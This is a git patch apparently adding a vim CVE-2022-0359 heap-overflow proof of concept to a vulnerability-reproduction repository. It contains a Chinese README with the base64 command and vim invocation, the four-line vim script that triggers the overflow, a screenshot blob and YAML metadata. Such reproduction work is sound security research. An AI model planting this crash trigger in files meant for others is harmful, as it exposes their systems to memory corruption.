From 7cdb6b42587d5283c241cd64ea8f5b2c4559ed7c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E6=96=87=E6=9D=B0?= Date: Fri, 21 Oct 2022 15:00:16 +0800 Subject: [PATCH] add CVE-2022-0359 --- cve/vim/2022/CVE-2022-0359/README.md | 7 ++++++ cve/vim/2022/CVE-2022-0359/heap_ow_poc1 | 4 ++++ .../2022/CVE-2022-0359/png/CVE-2022-0359.png | Bin 0 -> 19203 bytes cve/vim/2022/yaml/CVE-2022-0359.yaml | 20 ++++++++++++++++++ vulnerability_list.yaml | 4 +++- 5 files changed, 34 insertions(+), 1 deletion(-) create mode 100644 cve/vim/2022/CVE-2022-0359/README.md create mode 100644 cve/vim/2022/CVE-2022-0359/heap_ow_poc1 create mode 100644 cve/vim/2022/CVE-2022-0359/png/CVE-2022-0359.png create mode 100644 cve/vim/2022/yaml/CVE-2022-0359.yaml diff --git a/cve/vim/2022/CVE-2022-0359/README.md b/cve/vim/2022/CVE-2022-0359/README.md new file mode 100644 index 00000000..68534a6d --- /dev/null +++ b/cve/vim/2022/CVE-2022-0359/README.md @@ -0,0 +1,7 @@ +### 漏洞复现 +```shell +echo -n cmV0ODAwCnMvXHYvCQpzZSBhaQpzaWwwbm9ybTppDQ== | base64 -d > heap_ow_poc1 +vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc1 -c :qa! +``` +![](./png/CVE-2022-0359.png) + diff --git a/cve/vim/2022/CVE-2022-0359/heap_ow_poc1 b/cve/vim/2022/CVE-2022-0359/heap_ow_poc1 new file mode 100644 index 00000000..44b8b065 --- /dev/null +++ b/cve/vim/2022/CVE-2022-0359/heap_ow_poc1 @@ -0,0 +1,4 @@ +ret800 +s/\v/ +se ai +sil0norm:i \ No newline at end of file diff --git a/cve/vim/2022/CVE-2022-0359/png/CVE-2022-0359.png b/cve/vim/2022/CVE-2022-0359/png/CVE-2022-0359.png new file mode 100644 index 0000000000000000000000000000000000000000..42b5dbfd04b9444dce5260f8bf4f99e5569eda28 GIT binary patch literal 19203 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

>jV18ySrb@ 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 BSDyd? literal 0 HcmV?d00001 diff --git a/cve/vim/2022/yaml/CVE-2022-0359.yaml b/cve/vim/2022/yaml/CVE-2022-0359.yaml new file mode 100644 index 00000000..63ba2110 --- /dev/null +++ b/cve/vim/2022/yaml/CVE-2022-0359.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0359 +source: https://huntr.dev/bounties/a3192d90-4f82-4a67-b7a6-37046cc88def/ +info: + name: Vim是一款基于UNIX平台的编辑器。 + severity: high + description: | + vim 存在安全漏洞,该漏洞源于在8.2之前的vim中基于堆的缓冲区溢出。 + scope-of-influence: + vim < 8.2 + reference: + - https://github.com/vim/vim/commit/85b6747abc15a7a81086db31289cf1b8b17e6cb1 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0359 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0359 + cwe-id: CWE-787,CWE-122 + cnvd-id: None + kve-id: None + tags: 缓冲区溢出,cve2022 \ No newline at end of file diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index 2f4ff9ee..d5c6b05c 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -22,8 +22,10 @@ cve: polkit: - CVE-2021-4034 vim: - - CVE-2022-0729 + - CVE-2022-0359 - CVE-2022-0629 + - CVE-2022-0729 + cnvd: kve: kylin-software-properties: -- Gitee